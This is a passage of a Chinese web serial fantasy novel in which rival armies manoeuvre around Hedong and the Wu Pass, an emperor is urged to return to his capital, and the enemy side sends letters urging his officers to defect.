黜龙军既定下方略,得手太原第二日就立即分兵,迅速行动起来……且不说徐世英和洪长涯带领的兵马从艰难的西路和北路行走,只说另一边,王叔勇与徐师仁顺着晋地最腹心的通道而行,一路顺畅,很快抵达鼠雀谷,然后立即沿途进行多重进行封锁,确保军情不被泄露,再出鼠雀谷与雄伯南会师时,不过花了区区四日。 这个时候,他们得到军情,那些晋人,也就是王怀通-王臣廓这个逃亡集团,已经退到了闻喜。 雄伯南、王叔勇、徐师仁稍作商议,立即意识到,这是一个可攻击的位置,因为对方明显是想卡住轵关道,但闻喜这个地方无险可守——北面有要地,但他们担心被人从轵关道截断后路,不敢留在那里。 决议已下,三人不再迟疑,连着雄伯南带来的五个营一起,将徐世英旗帜立在后方曲沃城头,便立即向闻喜发动了冲击。 虽然实际上双方兵力相等,但过程却如他们预想的那般轻松,逃亡晋人狼狈而走,根本没有半分战意。 闻喜,包括王怀通恩师金戈夫子生前建立的南坡学院,轻松落入黜龙军控制当中。 不过,追击并没有持续太久,因为很快黜龙军的先锋部队就发现,虽然沿着涑水北岸逃亡的晋地部队明显失控,沿途投降伤亡者甚重,而且明显是直接奔着大河重要渡口蒲津去了,可水极浅的涑水南岸,大约是安邑方向,却出现了成建制的关西军主力部队……如果进一步追击,很可能会被切断后路陷入包围。 于是乎,为首的资历头领郭敬恪立即下令,要求停止追击,缓缓转回闻喜。 部队还没有回转到闻喜呢,当夜,也就是正月廿八日夜,得知消息后,雄伯南还没反应过来,但王叔勇跟徐师仁立即意识到出错了——郭敬恪不该后撤的,这是露怯! 想想就知道了,安邑能有多少兵?假如身后是黜龙军河北主力的话,还有两位宗师、两位知名大将在这里,怎么可能会害怕被人切断后路? 就这样,稍作商议后,三位龙头再度达成一致,决定翌日再度发起一场针对晋人逃亡部队的佯攻,由雄伯南带领,沿着涑水北岸进发,试图对已经是惊弓之鸟的这支部队再三造成惊吓,获取战果;同时在涑水上游,也就是涑水与稷山之间,摆出一支六个营的核心部队,对安邑之敌进行震慑。 坦诚说,徐师仁对这个奇奇怪怪的方案是想反对的,但王叔勇提出来后,雄伯南立即赞同……这就让他很被动。 更重要的是,巧妇难为无米之炊,他们现在就这十个营,而且郭敬恪已经露怯,再怎么补救都会显得破绽百出,偏偏又不能继续露怯,所以也实在是没办法! 到最后,徐师仁也只能提醒雄伯南,如果那些晋人跑得快,已经到了蒲津,而且谨守不出,没有被惊吓到仓促渡河,那就千万不要冒险攻击,而是应该立即后撤!因为蒲津已经是在京兆边上了,跟之前河阳城于东都一般无二,白横秋很可能利用信息差直接过来支援的。 雄伯南自然应许。 翌日,也就是正月廿九日,因为撤回来的部队需要整编,大军并没有极速发动,而是缓慢行军了一整日,抵达稷山,就地扎营,同时在身后闻喜城升起“徐”字大旗。 到了卅日一早,雄伯南率四个营以拉长部队行军序列、多做旗帜的方式当先而出,逶迤不断,往蒲津而去。 而王叔勇、徐师仁则率剩余六个营就地留守营地,看管涑水南岸三十余里的安邑。 仅仅是一个时辰后,大上午的,安邑守将韩长眉便察觉到了不对——如果黜龙军忌惮大宗师,那就没必要出兵,前日退却之后谨守便是;反过来说,如果黜龙军没有意识到白皇帝可能亲自过来这个危险,那就应该全军涌上,用几乎碾压的战力同时攻击自己和王臣廓才对。 可为什么,一面大张旗鼓去攻击蒲津,一面却对安邑的区区两万人这般严阵以待?!而且前日为什么追到一半,晓得自己在安邑,就立即掉头呢? 几乎是本能一般,韩长眉想到了一种可能,但局势偏偏由不得他多想了:“烽火点燃了?” “是,刚刚一收到黜龙贼出兵的消息就按照之前的安排点燃了。”下方侍立的六位中郎将中资历第一的辛姓中郎将立即出列应声。 “那咱们也出兵吧!”韩长眉直接从桌案后下令,同时扔下了手中的文书。 辛姓中郎将明显惊异:“这么早吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容!韩长眉看了看堂下其余几位同样惊异的中郎将,状若不解:“有什么说头吗?” “大将军,贼军势大,去这么早,当头撞上,只怕会损失惨重。”辛姓中郎将小心以对。“也容易打草惊蛇吧?不如等等陛下?” “为国用命,怎么能计较本部的损失?”韩长眉连连摆手。“而只要我们打的坚决,将黜龙军主力钉死在涑水北岸,又何谈打草惊蛇?至于陛下,他的修为在那里,难道还追不上我们?!” 两翼六位中郎将齐齐凛然,然后忍不住相互对视。 韩长眉置若罔闻,径直起身离开大堂,然后果然立即出兵……部队在安邑城北铺陈开来,立即就往北面涑水而去。 一个时辰不到,在快马的加持下,王叔勇和徐师仁等人便得知了消息,然后齐齐心惊,因为他们真的只有六个营在这里守卫。 “要坏事。”营寨内,徐师仁第一个反应过来,然后直接腾跃来,到王字旗下主动来寻王叔勇。“要坏事!白横秋要来,速速让天王回来!” 王叔勇此时也刚刚反应了过来……诚然如此! 这种局面,要么是自家虚实被窥破,那雄伯南处便没有了意义,正应该早早回来,应对当面之敌才对;要么是人家没有窥破,却依旧率两万众不计风险直趋此地,只能说明人家所图甚大……可图什么,怎么图?必然是以涑水北岸、稷山南侧的狭长通道为陷阱,将进入通道的黜龙军给吃下! 可若要做到这一点,除了韩长眉及其本部外,最少还需要一位不可阻挡的破阵之人配合后撤的晋地部队压制住理论上两位宗师才行。 他们昨晚还在说,白横秋说不得会去蒲津支援呢!现在看来,还是低估了对方,或者说被之前的胜利冲昏了头脑! “不行!不能让天王直接回来!”王叔勇刚刚发了信使,那边归营的徐师仁复又折返回来。“要看他有没有攻破临猗,攻破了就不要回来,继续往前,假装没有中计,走到三疑山掉头向北!我们这边直接撤!若是没有攻破临猗,我们就等他,然后一起撤!” “直接撤,一起撤?!”王叔勇心下不安。“此时撤了,不就暴露我们分兵了吗?” “那也没办法。”初春时节,徐师仁已经出汗了。“王五郎你想想,白横秋真要来河东,会去从蒲津协助撤退的晋人迎击天王吗?他不需要呀,他只要跟上韩长眉的部队,来这里就行了!这里才是涑水陷阱的袋子口!” 王叔勇目瞪口呆,几乎是颤抖着手招呼了旁边的巡骑们,让他们立即按照徐师仁的补充将新的军令送出去,并确保临猗的战况被及时送回。 这个时候,算算时间,韩长眉的大军距离此地已经只有二十里了! 虽说胜败兵家常事,可局势都到这个份上了,不会让自己来打一场大败仗吧?!让牛达来多好?!为啥没人让自己蹬一脚? “狗日的徐世英!” 大营各处在按照之前军令努力备战、准备营地防御工作,甚至因为之前一连串胜利而显得气氛有些轻松,与此同时,军中实际主帅王五郎却艰难的跌坐在了自己的将旗之下,且语出粗鄙。“他还没把天捅出个窟窿,我竟先捅了!这厮可是害惨了我!” 徐师仁无言以对。 喜欢黜龙请大家收藏:()黜龙更新速度全网最快。 第一百一十章 送乌行(20) 正月底,河东地区,涑水稽山之间,六营满编的黜龙军在拥有营寨加持的情况下,与两万堪称老对手的关西府兵交战后,不到一刻钟的时间便全线大败,丢盔弃甲,扔下营寨,狼狈撤走。 与此同时,雄伯南也很快掉头,放弃了刚刚占领的临猗城,往北面逃窜。 对于黜龙军来说,这是一场毫无疑义的大败。 也是一场莫名其妙的大败,多路围攻,齐唱凯歌,怎么到你这里忽然就败了?更离谱的是,从接战开始到主帅王叔勇下令撤退为止,各营各部没有任何一处显露败相。 这就导致哪怕是随后王叔勇专门强调,敌方有大量援军包来,试图整个吞掉这一路兵马,却还是不免引起军心动荡和质疑。 另一边,因为被人压上武关、河东、毒漠、突入蜀中而军心板荡的关西军自然是大喜过望,士气振奋。 “陛下,臣有罪。” 与蒲津一体的河东郡城内,韩长眉躬身下拜,几乎五体投地。“臣委实不晓得他们只有五六个营在彼处,更没想到他们直接逃了,致使陛下不能尽全功。” 韩长眉看不到上方端坐之人的表情,而接下来数息也没有听到对方的声音,于是努力放平心态,让自己的呼吸变得平顺。 过了片刻,上方终于传来声音:“这事若是要怪到你头上,那朕可就真的是赏罚不公了……韩卿,你这一战有功无过,赶紧起来吧。” “臣还是不解。”韩长眉终于起身,却好像忍耐不住一般相询。“陛下,他们为何只有这几个营在这里?他们的河北主力去哪儿了?还是一开始打太原就没有这么多人?” “河北在春耕前的大动员是没法糊弄人的,河北兵马肯定在,但去了何处,谁也不知道。”白横秋在上方面无表情的阐述道。“或许是南下绕过东都汇集张行了,或许是北上去攻击白道了,朕来之前刚刚接到文书,说是那个周行范领兵去了白道……但也可能只是留在太原处置宫室、田产,好做接收……谁也不知道的。” “最起码短期内河东这里无虞了?”韩长眉继续来问。 “这是自然。”白横秋轻轻颔首。 “但还是可惜……他们经此一吓,肯定不会再中计了。”韩长眉再三摇头。 “无妨,你现在赶紧回去,控制好安邑和稷山,看清楚闻喜的情况,若是他们继续后撤,你便进取到闻喜。”白横秋语气清冷平淡。“且去吧。” 韩长眉不敢怠慢,再三行礼,这才出帐去了。 人既走,也不知道过了多久,白横秋忽然扭头看向侧面端坐一人:“怀通公,你怎么看?这人可信吗?” “陛下的意思是,他之前出兵太果断了,惊吓走了那些人,所以有纵敌的嫌疑?”王怀通捻须反问。 “不错……” “但请问陛下,这么判断的前提是不是他上来便猜到稷山只有五六个营?” “是。” “那不就是诛心之论吗?” “诚然如此,否则如何让他轻易走了?” “臣有一句话,不知道当说不当说?” “局势艰难,还请怀通公直言不讳。” “那我就说了。”王怀通侧眼看着上面那人,言辞犀利。“若是诛心之论,现在这河东城的一万多晋地逃人,都该杀了。” 白横秋沉默片刻,言辞艰难:“惭愧。” “陛下,这不是惭愧的事情。”王怀通继续斜眼言道。“河内无功而返,淮西、南阳落入人手,韦胜机被阵斩,李定偷渡巫地得手,晋地被放弃……一桩桩,一件件,怎么可能不使人心沮丧?不使人心动摇?更不要说,居其室则有德,居其野则无耻,现在这个局势,谁被派到河东孤悬在外不起心思?十六卫大将军,除了那几位心腹,陛下换任何一个人来到韩大将军这个位置,谁能不动摇?” 白横秋言语愈发艰难:“怀通公说的极是,越是此时,越要公平公正……真要是谁反了降了,也是我白横秋无能在先。” “陛下。”王怀通继续来言。“接下来陛下意欲何为?可有方略?” 白横秋当然晓得王怀通是晋地流亡集团的精神领袖,是此时必须要争取和团结的对象,而且对方确实有能力,倒是没什么可遮掩的:“我说服了太白峰上的冲和道长,请他确保关中的防御,还尽数动员起了陇上兵马……” “冲和道长就算是答应了,也不过是在如今日这般情形替陛下在武关与张行做过一两场吧?” “已经做了。”白横秋正色道。“此时应该有交手和对峙。” “臣不是这个意思……” “我知道。”白横秋坦诚以对。“你是想说,便是有冲和替我防卫一二,我也不能扔下十六卫主力,孤身去蜀地或者毒漠……这样的话,只怕立即就会人心崩塌,冲和道长拦得住张行和踏白骑,须拦不住他麾下大军并进,他也没道理替我造杀孽……是也不是?” “是。” “这是自然的道理,但现在,既然晋地这里没有多少兵马,我也不瞒着怀通公,我想去北面看一看。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“因为黜龙帮河北主力若去北面,北面必败?” “不能说必败……但确实危险,更重要的是,我是一人之力,去了北面,方便防守。” “陛下,臣能多问几个问题吗?” “怀通公请言。” “十六卫府兵如今到底还有多少人,满员是多少,实员是多少,其中多少是编练三年以上的老卒?” “满员是十九万八千众,但实际上未曾满员,去年出兵时在册者是十六万余众,其中两万随元帅韦胜机往南,六千在毒漠三关,长安-武关留有一万余众,潼关八千,成都五千,河东五千,晋阳你是知道的,也有两万,此外还有一万余众轮休没有征发,故此,出兵河内时号称十万众,其实是八万府兵不足,佐以民夫……战后,约七万不足,就地解散,考虑到春耕,并没有及时补员,只是名义上增册。 “待到冬日发兵南阳,没有动员这六七万人,转而提剩余一万众与长安、武关、潼关守军,共计三万不足,并各地戍卫军三万众,合计五六万众出南阳……这一战损失极大,退到关内,正经的府兵减员过半,只余万余众。 “今春四面来迫,此时算上河东这里,约有七八万府兵,然后关中动员,临时补册,征召府兵、良家子、文武世族子,得六万众,还让吐万老将军带走了两万。” “也就是说,在派遣了韩长眉至此、吐万老将军南下之后,此时此刻,大英在关中腹心之地,只有四万不到的经验府兵,和四万的临时征召兵马?”王怀通冷冷给出结论。 “诚然如此。”白横秋没有否认。“但是陇上已经聚集了又三万众,只是去支援了北面,怀通公这里不也撤回来一万多人吗?” “那臣再问陛下。”王怀通脸色愈发难看。“你若动身去北面,结果李定的主力依旧在毒漠北面按兵不动又如何?你难道真能在彼处长久停留吗?还是说你能越过毒漠去攻?” 白横秋抬起头来,认真看着对方:“怀通公到底是什么意思?李定若是按兵不动,岂不是更好?他们三面绕行远攻,只要攻不进来,三月必衰,到时候便是反击的机会。” “我的意思是,若是陛下非要往北面跑,怕是反而要被人攻杀进来了。”王怀通终于有些激愤之态了。“陛下,张行这个人不能只把他做一个大宗师,他是黜龙帮的首席,陛下不在长安,他可以写一封信许诺我一个龙头,让我放开蒲津;可以遣一个故人去见郑善叶,告诉他,只要临阵在渭北按兵不动,便既往不咎;可以发一个告示,告诉长安的所有人,此时来降,国公、总管都有大头领之位……陛下真不怕这边走了,那边关中直接塌了吗?” 白横秋肃然以对:“怀通公的意思是,之前损失太大,人心压不住?” “是,但不止是如此。”王怀通言辞恳切。“陛下,你还记得太原起兵时的言语吗?” 白横秋一时没有反应过来,竟有些发懵:“我那时言语颇多,怀通公指哪一件?” “陛下曾说,张行黜‘擅天下之利者’委实可笑,你此番起兵,正是要让一些英雄豪杰来擅这天下之利。”王怀通缓缓言道。“而臣以为,陛下这几年其实未曾让几位英雄豪杰来擅这天下之利,反倒是张行,不管如何,不管是什么途径,总是一步步在做自己向天下许诺过的事情……陛下,恕臣直言,从此事来讲,陛下的信誉不如张行!” 白横秋面色铁青。 而王怀通还在继续:“尤其是眼下,连直接领兵的十六卫大将军、总管,和下面的几十位中郎将都不能成为陛下心腹,关陇和晋地的名族也不能与陛下一体,怎么跟人家上下一心的黜龙帮比?” “说完了没有?”白横秋终于有些压抑不住了。 “陛下若是觉得烦,臣就不多说了,就此总论。”王怀通丝毫不惧。“陛下连番大败,又不得人心,甚至自己刚刚都对外镇大将生疑,却还以为自己能仗着一位外援大宗师的威风,不顾兵力薄弱的长安独自向北,岂不是自取灭亡?” 白横秋终于气闷起身:“若是如此,怀通公为何不在太原直接降了?莫非是觉得卖不出好价钱吗?” “只是怕丢脸罢了。”王怀通喟然道。“当日陛下起兵时,我既然随之起身,便觉得粘连上了陛下,而如老夫这等人,一旦粘连上了政治,怕是宁死都不愿意改道的……我的关门弟子年轻些,更早觉得黜龙帮更有前途,却晓得我秉性,便只在东都厮混,本意就是让我借东都为筏避开关西的乱局,如今看来,反而是老夫连累他了……陛下,我这些天做梦,倒没有梦见自己结果,反而总是担心我那个学生。” 白横秋呆了一阵,重新坐了回去,言语酸涩:“怀通公,我自然信你从南坡学来的操守,只是我也想问一问你,真的是我无能吗?我是学着司马氏两位大行台和大魏开国那位来的,他们难道是三五年就尽收人心?不都是多年蛰伏,建立心腹班底,然后一朝立在台前,再花数年或外战或内斗用自己心腹代替那些旧日关陇名族,以作成就吗?哪个加一起不用十年八年,为什么到了我这里,就处处跟不上呢?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“若是这般讲,还真未必是陛下你的错处。”王怀通叹了口气。“是黜龙帮跟张行过于疾风怒涛了。” “朕宁可是自己废物!”白横秋摇摇头,然后终于再度站起身来,振作以对。“怀通公,你的谏言朕都收到了,朕确实不能长久离开长安,但是趁着现在大家都没有反应过来,去一趟毒漠还是妥当的……尤其是算算时间,两日后等我到的时候,李定应该恰好已经发动攻击,正是起作用的时候。” 王怀通不置可否:“臣已经把话说清楚了,陛下好自为之。” 白横秋点点头,走出这河东郡城的郡府大堂,立即腾空而起,径直循着大河北去,惊得刚刚出城的韩长眉扭头来看,一时诧异莫名。 但旋即又松了口气。 坦诚说,韩长眉这个时候也意外的产生了其他名将某个阶段都会必然有的一个感慨,那就是这些修行者,尤其是宗师、大宗师之类,太过于讨厌了。 因为他们的存在,让正常的军事布置和军事行动产生了极大的逻辑偏转。 明明有些事情该这么做的,而且这么做就行了,但因为这边有个大宗师要过来,那边有个宗师要去,就只能强行更改思路,导致一切都变得怪异。 韩长眉的感慨当然是正确的。 实际上,就在此时此刻,例行突入武关道的张行正在当着万军之面公开呵斥某位德高望重之人: “冲和道长,你做此类事,是三辉让你来做的,还是你自己擅自为之?!若是,你就让三辉当众显圣,告之天下!若不是,那我问你,你晓不晓得,三一正教的脸都被你丢光了?!今天你可以替白横秋这种昏悖老孽守家,明日是不是要打着三一正教的牌子镇压没有纳够秋粮的百姓?再往下,三一正教是不是要去长安城里建立帮会,去找妓女收月例钱?!” 这话骂的忒难听了,尤其是张首席以那种修为当着两军之面进行宣告,可见张行也的确是真发怒了,而站在一侧山麓树下的冲和道长则宛若一个因为两军交战而逃到山上的老农一般,拢着手面无表情来听。 就好像刚刚大显神威,一个蓝布包裹挡住黜龙军踏白骑大阵的不是他一样。 “冲和,我给你最后一次机会,此番撤走,咱们就此罢休,否则的话,三月五月,我们黜龙帮入主长安,三一正教的道统便与你无关了!”张行的声音再度于明媚阳光下响彻四野。“我们黜龙帮建立大明,暗合日月三辉,合该领这三一正教!” 而冲和还是站在那里不动。 “撤!”阵中,骑在黄骠马上的张行等了片刻,晓得冲和还在彼处,忽然扭头下令。 “首席,我去劝劝。”伍惊风竟然伸出手来试图阻拦张行,而他的手都是抖的。 这一幕明显引起了周遭不少人的注意……但很难说大家此时的情绪到底如何,同情居多,还是愤懑难平? “且回去再说。”张行低声以对。“这种事情不要在意,若是打天下连这种意外都无,那也太自以为是了。” 伍惊风无奈,其余人也无奈,只能随着张行再度越过早已经沦为废墟的武关,匆匆回到营中。 这一仗,委实虎头蛇尾,跟之前与白横秋较劲动辄到半夜完全不是一回事,好像见到那位冲和道长直接怂了一般,折回之后,军中自然士气起伏动荡。 “伍大郎,你现在去找你师父。”张行倒是面色如常,但下令却极为急促。“立即去,怎么劝都行,最好能劝走,告诉他,只要现在走,我真的既往不咎……但如果劝不走,一定要跟着他,他去哪里你去哪里!明白吗?” 伍惊风立即应命,匆匆而走。 “单龙头,准备一支精悍兵马,明日出击的时候,无论如何都要有部队摸到蓝田!不指望胜负如何,一定摸到!”张行复又看向单通海。 单通海立即受命称是。 这个时候,张首席方才扫视所有人:“诸位,你们有在关中认识人的,包括自己下属有没有认识那边人的,无论文武、位置高低,有没有兵权,只要晓得对方位置的,现在写信,按照他们的阶层许诺反正得待遇……总管、一卫将军给大头领,中郎将、郡守给头领,下面的队将许诺钱财,县令许诺升迁……都去写,赶紧写,白横秋肯定不在关中,这是个千载难逢的机会,哪怕他今晚上就回来,也要赌一把!写完交给我,登堂入室者我亲自画押,然后想方设法送进去!” 众人这才恍然,为什么张首席刚刚交战,只一个回合,就放弃战斗,直接骂人然后撤军了。 “阎庆和张金树你们不要写。”就在营帐内乱哄哄的时候,张行复又喊到两人。“张金树,你的任务是调集巡骑、信使,想方设法帮他们把信送进去!阎庆,你要亲自走一遭,冒险走一遭河东,让伍二郎送你去,从弘农翻山过去,他路熟,接着想法子渡河,去劝降此时在河东的敌军……应该是韩长眉,但也可能是别人!我给你写两封信,一封给韩长眉,一封不点名字你带过去!敢不敢?!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!张金树还好,阎庆深呼吸了一口气,方才点头:“正要这个功勋做大头领!” 张行不再言语,径直取出纸笔来写,与此同时,整个营帐内乱做一团,所有人都在找纸笔,所有人都在焦急讨论,相互证询一些信息,还有人直接跑出去找人。 局势纷乱,翌日,黜龙军再度循武关道进发,自然再度遭遇到了冲和,然而,正如大部分预料的那般,此人仅仅是阻拦张行亲自带领的踏白骑,却并没有干涉下方的战斗。 黜龙军其中一支千把人的骑兵,在程知理亲自带领下,直趋蓝田,于当日傍晚成功进抵蓝田大营。 蓝田大营如临大敌,随即,明显严阵以待的足足万众涌出,朝着这支骑兵反扑出来,早有准备的程知理掉头就跑,连夜又窜回了武关道中。 但谁都知道,程知理这一击完成的非常干脆——两军上上下下全都确定了,白皇帝不在关西。 没错,黜龙军就是要告诉关西军上下,你们的皇帝兼大宗师,现在不在家! 白皇帝当然不晓得后方情形,他已经行程过半,如何能半路停下……实际上,当他经过雕阴,发现了一支两三千人的不明部队时,都没时间下去验证那是逃亡的晋地部队还是追过来的黜龙军。 然而,二月初二,当他抵达榆关,见到了自己的副元帅与靖安中丞之后,却得到了一个让人汗流浃背的讯息——李定果然没有动手。 有战事,是周行范对白道关的骚扰与攻击,但委实不够激烈,因为周行范部数量只有万余众,而且明显疲敝,更不要说攻击相当于要塞的白道关了。 至于李定,这厮浩浩荡荡抵达毒漠北侧之后,停在了稍微偏榆关这一侧,然后就开始按兵不动。 不可能是被白皇帝抵达吓得,也不大可能是被窦尚带来的三万陇上新兵吓的,因为李定此时掌握的兵马依旧远在守军之上,而且从榆关到白道关,不过两百里,往哪儿打,三日都足够了。 但他就是从三日前抵达毒漠后完全不动了。 回到眼下,皇帝过来,窦尚跟鱼皆罗汇报完毕之后也各自说了一些事情……窦尚跟王怀通大约看法相似都是劝白横秋赶紧回去,否则长安人心动荡,白皇帝可不只是一个大宗师那么简单,他还是皇帝,这点无人能替代;鱼皆罗则告知了白横秋自己的猜测,他认为李定不可能分兵,也不可能真的不进攻,现在结合了白皇帝带来的情报,那他一定是在假装停在那里,暗地里往白道方向转运兵马,然后等待黜龙军另一只主力抵达,以绝对兵力优势攻下白道关。 所以,鱼皆罗希望白皇帝继续送援军过来。 白横秋自然晓得两人说的都金玉良言,只能各自答应,立即折回长安,同时努力再送些援军来……他都想好了,干脆放弃河东,让韩长眉跟王怀通、王臣廓一起北上。 所谓千难万难总是有办法的,但是要快。 决心既下,白皇帝只能稍作抚慰,重申了一遍守住三个月就一定反攻的道理,然后稍微饮食,便即刻折回去了。 皇帝来去匆匆,却不免让此地尚在静坐战的前线指挥官们议论纷纷。 但眼下,最重要的还是战事。 人既走,鱼皆罗召集会议,商议军务——他之前就有猜测,此时得到白皇帝的情报,更是有了这个判断,那就是李定定是在耍诈,主攻目标就是能联结晋北的白道关。 对方停在那里,本质上是在等援军,并迷惑防御部队,让他们以为是要攻击榆关。 所以鱼皆罗提出,希望立即调整部属,将主力部队向东转移,以备不测。 在场诸将,包括窦濡、陈凌、常负,全都表示认可。 二月初三,夜间,白横秋折回路上再度经过雕阴,然后忽然想起一件事情,继而独自一人于夜空中沮丧起来——之前从这里路过时,明明看到了一支一两千人的不明兵马的! 问题不在于这支兵马是黜龙军或者逃窜的晋地兵马,而是他竟然忘了跟鱼皆罗说。 什么叫破绽?这就是典型的左支右绌下的破绽。 更可怕的是,即便是现在想起来了,他也不可能真的留在这山沟沟里到处去找那支部队做验证,不晓得对方去了哪里,也不能再耽误时间在路上……万一关中真降了怎么办? 终究是人力难周! 这个事情的打击,竟然比之前到了榆林发现李定竟然真的按兵不动还要大。 长叹了一口气之后,白皇帝只能强打精神,赶紧折向长安。 二月初四日夜,白皇帝来到蒲津,他迟疑了一下,决定趁着夜色再走一遭河东……王怀通就算了,他相信对方的操守,主要是韩长眉,既然要用人家北上支援,总要安抚一二,做个许诺什么的。 一念至此,其人临时转向东面,很快抵达安邑,如他所料,对方还在这里,并没有亲身进到闻喜。 韩长眉被临时唤起,见到皇帝,竟然大惊失色,只能再度躬身下拜,五体投地。 白横秋见此,不由微微皱眉:“韩卿何必如此拘束?你我之间有什么不能直言相告的?” 韩长眉委实被惊吓到了,闻得此言,竟然迟疑起来。 这下子,白横秋终于奇怪,于是眯起眼睛来问:“你真没有什么要告诉朕的?” “陛下。”韩长眉小心翼翼。“臣惭愧……可是陛下来的这般快,臣就算是再坦诚也要被疑的吧?” “你到底在说什么?”白横秋有些生气了,也委实疲惫不堪。 “陛下,臣委实是今日晚间才收到张行的亲笔劝降信,使者是越过弘农渡河过来的,跟长安城和蓝田大营那些早三四日便收到信的人不一样!”韩长眉是真委屈起来了。 白横秋懵了一下,若非一股真气自丹田直冲七窍,框住了身形五感,竟差点眼前一黑! PS:这个月真的到此为止了,活动流程挺密集的,下个月也要结束回来后才能重新开始码字,希望8月2号大家能在岳王庙现场见面。 喜欢黜龙请大家收藏:()黜龙更新速度全网最快。 第一百一十一章 送乌行(21) 二月初五日一早,皇帝宛若无事人一般出现在蓝田大营,并照例鸣鼓聚将。 众将汇集,见到皇帝,反应不一,但大多数人还是能扛得住的……能混到这份上,最起码表面姿态还是稳的,何况隔了好几日,大家也做好了准备。 然而,似乎有多数人就有少数人。 甫一见面,先有一人跪倒在地,却是张世静——这位大英尚书右丞之前奉命北上,原本是要担负重任的,结果走到半路上晋地就无了,干脆连李定也不去见了,偏偏又跟皇帝行程错开,一直到今日才再相见,所以先行请罪。 “能回来便不错,大局变幻莫测,难道还能怪在你身上?”白皇帝到底是念旧的,待对方请罪完毕,便有些喟然。“立本至今不知生死……也罢,且回长安,替朕操持后方便是。” 然而话音刚落,张世静尚未谢恩,忽然旁边闪出一人,赫然是大英宗室重臣白横津,后者直接拱手来问:“陛下,臣冒昧,敢问张相公堂堂南衙相公,之前去了何处,因何获罪,为何臣等不知?便是白立本堂堂国家大将,因何又生死不知?” 白横秋心知肚明,这便是自己离阵数日的恶果了,他来的路上便有心理准备,只是不晓得白横津是要帮忙还是发难罢了。 故此,其人依旧从容:“这是朕的不是,但也并非要与朝廷上下做隐瞒,因为当日发遣张相公、刘大将军还有立本,是从南阳撤回路上做的临时军务发遣,是要他们各自去做劝降司马正、李定和三娘,且除了张相公外,道理上是到了地方见完面就要回来的……便是张相公,原本想让他回来路上协助怀通公的,并非是要做什么隐秘之事。” “原来如此。”白横津点点头,似乎接受了这个说法,只是马上又来询问。“陛下,若是这般,三处都不愿意降了?” 白横秋缓缓摇头:“只有司马正明确不愿意降,北面李定、南面三娘,都是去的路上便有了异变,不了了之。” “臣以为,有些事不能不了了之。”白横津低着头,却迫不及待。“白立本将军那里军情陡变,生死不知,当然可以暂且放下,可是张相公这里,既然受了军令去劝降,结果中途而返……恕臣直言,从法理上来讲,这是抗旨不遵、军令不行;从实际上讲,国家危殆,尤其是李定绕行巫地,直刺我方之背,最为危险,什么法子都该试,而不是闻得自己要接手的晋地失陷就干脆转身回到长安!” “那横津你以为此事该如何了之呢?”白皇帝没有半点失态。 “臣以为,大敌当前,当严肃军纪朝纲。”白横津此时方才抬起头来。“而欲如此,当从张相公始!如此,再去处置他人,方能让上下心服!” 趴在地上的张世静面色发白,瞥了一眼白横津后立即去看白皇帝,而后者则依旧面色如常,只是陷入到了沉默之中。 在场其余人则面面相觑,神色各异,甚至有人忍不住相互打眼色。 且说,今日张世静这件“旧事”冒出来并陷入困境不能简单的从这件事本身做讨论……因为这蓝田县衙大堂里的军政要员们加上皇帝本人心知肚明,真正的要害在于那些劝降信。 简单来说就是,如何处置张世静其实关系到了白皇帝如何处置劝降信这件事,甚至,张世静本人上来请罪,白横津的姿态凛然,都更像是一种配合式的打样,他们两个也晓得这件事的干系。 而坦诚说,这其中,张世静的姿态是更符合白皇帝心思的,趴下来,雷霆雨露俱为君恩,而白横津的心思就值得玩味了,身为宗室在文臣中的代表,此番站出来要求严厉处置,必然掺杂了他趁机踩死张世静继而取而代之的私心。 但依然称不上逼宫。 若是领兵且曾经独立过的白横元站出来并提出严厉意见,那就是另外一回事了。 思索片刻,白皇帝也下定了决心——现在人心浮动,四下皆危,而无论如何,张世静都算是他最信任的人之一,还是尚书右丞这种正儿八经的南衙相公,若是为了所谓安抚人心把心腹重臣处置掉,怕是反而会摇摇欲坠的。 “横津,你所言极有道理,朕也晓得你是为了大局着想。”一念至此,白横秋不由叹了口气。“正所谓形势艰难,越是这个时候越要严肃军纪国法……但是张相公这件事情,根本上是朕做错了,朕不能判断形势,致使名臣大将轻易陷在外面。 “非只如此,朕还知道,这几日许多人收到了张行的劝降信,而因为朕擅自脱离战线去北疆巡视的缘故,竟使得大家连将信及时上交都做不到,以至于人人生疑…… “所以,诸位,朕赞同严厉国法军纪,但要严厉国法军纪,必从朕始!” 说着,就在众人以为事情要被白皇帝糊弄在自己身上的时候,后者忽然起身,解开身上龙纹玄袍,拿开发冠,然后以手代刀,只是一拂,头上花白之发便如雨雪一般纷纷而落,不曾沾身半根。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“诸位,没有办法,这个局势还离不开朕,只能割发代首,以作惩戒。”大宗师动作如行云流水,众人还没有反应过来,便已经完成,须臾坐下,更是坦诚。“至于那些书信,我让人在蓝田城内三一观中的三辉金柱下设一火盆,待朕下午往长安一行,大家径直遣人将书信送过去焚烧,便足称忠忱了!” 说着,其人复从怀中取出一封信来,摆手示意,让张世静上前接过,然后才做说明:“这是韩长眉韩大将军的劝降信,世静替他烧掉……他现在应该已经与怀通公他们一起启程往榆关方向而去了。” “来得及吗?”一直没出声的宗室第一大将白横元出声来问。 “不是让他去对付李定。”白横秋认真言道。“而是让他应对黜龙军后续援军,黜龙军河北主力分兵了,当面只有雄伯南、王叔勇带着十来个营。” “原来如此……” 事情轻易转向了军务,竟好像没人再顾忌那些书信和地上的花白断发一般。 但白横秋当日没能来得及转回长安,因为张行那个疯子又来了,而且这一次,冲和消失的无影无踪……白横秋本人也不可能放弃人前显圣的机会,他需要这种战斗来恢复军心。 一如既往,折腾到半夜方才停下。 到此为止,李定在静坐;鱼皆罗、窦尚在努力的调整和调度兵力;周行范兵力弱小也缺乏高手,无法真的夺取白道关;徐世英和洪长涯还在艰难的山路中;雄伯南、王叔勇、徐师仁刚刚因为冒进吃了一场败仗,尚在汾水一带,且不晓得他们面前的河东已经被空置;王怀通、韩长眉、王臣廓刚刚启动,准备从大河内侧往北面去做支援;张行与勉强维持住人心的白横秋重新对峙于武关道;白有思突入蜀中,吐万长论匆匆南下,却因为蜀地广阔深邃,一时不得结果。 局势,似乎僵持住了。 但所有人都知道,一切都是浮萍,是表象。 那几根头发压不住真正的大局,而大局必然因为接下来的人心、战场变动而产生剧烈变化。 五天。 